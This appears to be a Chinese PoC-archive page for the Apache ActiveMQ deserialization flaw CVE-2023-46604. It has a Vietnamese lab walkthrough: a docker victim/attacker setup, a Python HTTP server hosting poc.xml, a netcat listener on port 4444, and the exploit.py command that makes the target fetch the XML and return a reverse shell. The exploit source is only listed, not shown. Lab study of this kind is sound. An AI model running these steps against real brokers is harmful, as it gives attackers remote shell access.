关联漏洞
标题：
Apache ActiveMQ 代码问题漏洞
(CVE-2023-46604)
描述：Apache ActiveMQ是美国阿帕奇（Apache）基金会的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。 Apache ActiveMQ 5.15.16之前、5.16.7之前、5.17.6之前或5.18.3之前版本存在代码问题漏洞，该漏洞源于允许具有代理网络访问权限的远程攻击者通过操纵 OpenWire 协议中的序列化类类型来运行任意 shell 命令。
介绍
CVE-2023-46604
Dựng docker-compose chứa 2 image gồm máy nạn nhân và máy mục tiêu theo môi trường yêu cầu
Trên máy nạn nhân, tiến hành khởi động ActiveMQ
Chuyển sang máy tấn công:
• Mở dịch vụ HTTP để tiến hành gửi poc:
python3 -m http.server <port>
• Sử dụng netcat để lẳng nghe kết nối đến máy tấn công
nc -nlvp 4444
• Gửi payload tạo kết nối reverse shell tới máy tấn công
python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml
Trong đó:
- Exploit.py: file code khai thác lỗ hổng
- -I 172.18.0.3: Địa chỉ IP của máy gửi payload
- -p 61616: Cổng mà ActiveMQ của máy nạn nhân đang lắng nghe
- --xml http://172.18.0.2:8000/poc.xml: Địa chỉ url của tệp poc.xml trên máy tấn công
Có thể thấy, sau khi gọi lệnh thực thi file ‘exploit.py’, mã khai thác sẽ gửi một gói tin ‘poc.xml’ trên web server tới mục tiêu là địa chỉ của dịch vụ ActiveMQ đang chạy trên server mục tiêu. Đồng thời webserver HTTP trên máy tấn công cũng nhận được request được gửi từ địa chỉ ip của máy mục tiêu.
Sau khi tiến hành gửi payload, chuyển sang terminal đang lắng nghe tại cổng 4444 của máy tấn công. Ta thấy reverse shell của máy nạn nhân đã được gửi về.
文件快照
[4.0K] /data/pocs/48aa371905034481d8f87c09ab23ddeab02c443e
├── [4.0K] dockerfile
│ ├── [ 399] docker-compose.yml
│ ├── [4.0K] kali_attacker
│ │ └── [ 544] dockerfile
│ └── [4.0K] ubuntu_victim
│ └── [1.1K] dockerfile
├── [1.9K] exploit.py
├── [ 773] poc.xml
├── [1.5K] README.md
└── [ 441] rule_protect.txt
3 directories, 7 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。